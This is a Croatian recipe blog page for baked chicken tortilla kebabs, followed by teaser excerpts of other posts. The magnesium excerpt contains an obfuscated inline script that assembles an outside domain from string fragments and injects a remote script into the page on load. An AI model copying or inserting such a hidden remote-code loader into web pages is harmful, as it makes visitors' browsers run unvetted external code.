TORTILJE S PILETINOM 🐔




Tortilje s piletinom 



Hrskavi izvana, sočni iznutra i prepuni začina - ovi tortilja kebabi s piletinom odlična su ideja kada vam se jede nešto malo drugačije, a bez kompliciranja u kuhinji.




Tortilje s piletinom 


Sastojci:

  • 800 g mljevene piletine
  • 1 manji luk, sitno nasjeckan
  • ½ crvene paprike, sitno nasjeckane
  • 2 češnja češnjaka, sitno nasjeckana ili protisnuta
  • 2 žlice nasjeckanog svježeg peršina ili korijandra
  • sol
  • slatka paprika
  • papar
  • peršin
  • češnjak u granulama
  • 1 žlica koncentrata rajčice
  • 7 tortilja
  • malo otopljenog maslaca ili ulja za premazivanje



Priprema:

  1. Mljevenu piletinu stavite u veću zdjelu pa joj dodajte sitno nasjeckani luk, papriku, češnjak i svježi peršin ili korijandar. Dodajte sol, mljevenu papriku, papar, sušeni peršin, češnjak u granulama, koncentrat rajčice i limunov sok. Sve dobro izmiješajte rukama ili kuhačom dok ne dobijete povezanu smjesu.
  2. Na tortilju rasporedite vrlo tanak sloj mesne smjese, gotovo do samih rubova. Prekrijte drugom tortiljom pa ponovno premažite mesom. Nastavite dok ne potrošite tortilje i nadjev. Važno je da slojevi mesa ne budu debeli jer se piletina mora potpuno ispeći.
  3. Složene tortilje narežite na šire trake ili pravokutnike, kao na fotografijama, pa ih pažljivo nabodite na drvene štapiće za ražnjiće tako da slojevi ostanu zajedno. Vanjske strane lagano premažite otopljenim maslacem ili uljem.
  4. Posložite ih na lim obložen papirom za pečenje i pecite u pećnici zagrijanoj na 200 °C oko 25–35 minuta, ovisno o debljini komada. Tijekom pečenja možete ih jednom okrenuti kako bi se lijepo zapekli sa svih strana.
  5. Poslužite uz umak po želji.



Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

POHANI SVINJSKI KOTLETI

Slika
Pohani svinjski kotleti  Što bi svjetska kuhinja bila bez pohanog mesa? Veliko ništa! Nijemci i Austrijanci paniraju teletinu i svinjetinu s jajima, brašnom i krušnim mrvicama, a potom ga prže u dubokom ulju. Japanci obožavaju hrskavu piletinu katsu, a Talijani peku meso alla milanese . Pohani svinjski kotleti  Sastojci: 4 svinjska kotleta 100 ml pilećeg temeljca 65 ml meda 5-6 češnja češnjaka 2 žlice jabučnog octa 1 žlica maslaca 1 čajna žličica češnjaka u prahu sol i papar po želji Priprema: Začinite svinjske kotlete sa solju, paprom i češnjakom u prahu. Zagrijte ulje u tavi, pa na njemu ispecite svinjske kotlete. Pecite meso oko tri do četiri minute sa svake strane dok ne dobije lijepu zlatno-smeđu boju i dok se skoro ne ispeku do kraja. Savite meso sa strane. U istoj tavi rastopite maslac. Drvenom kuhačom sastružite sve eventualne zapečene masnoće s dna. Na maslacu prepržite sitno nasjeckane češnjak – pirjajte ga oko pola minute. Potom dodajte med, pileći temel...
Pročitajte više

BOJANJE JAJA ZA USKRS - KREATIVNE IDEJE KOJE ĆE VAS ODUŠEVITI

Slika
Bojanje jaja za Uskrs - kreativne ideje koje će vas oduševiti  Bojanje jaja za Uskrs jedna je od najdražih blagdanskih tradicija koja svake godine okuplja obitelj oko stola i potiče kreativnost. Uz malo mašte i jednostavne trikove, uskrsna jaja postaju prava mala umjetnička djela koja će uljepšati blagdanski stol i donijeti dozu veselja u svaki dom. Povratak prirodi: kako obojiti jaja prirodnim bojama? Prije pojave umjetnih boja, naši su preci koristili ono što su imali u kuhinji i prirodi. Danas se vraćamo toj praksi, ne samo zbog zdravijih i ekološki prihvatljivijih rješenja, već i zbog čarolije stvaranja jedinstvenih, zemljanih tonova. Proces je zapravo svojevrsni znanstveni eksperiment za djecu, jer nikad niste posve sigurni kakvu ćete nijansu dobiti. Osnovni recept je jednostavan: odabrani sastojak kuhajte u vodi tridesetak minuta s jednom do dvije žlice octa, koji pomaže da se boja bolje primi za ljusku. Nakon toga procijedite tekućinu i u nju uronite već kuhana j...
Pročitajte više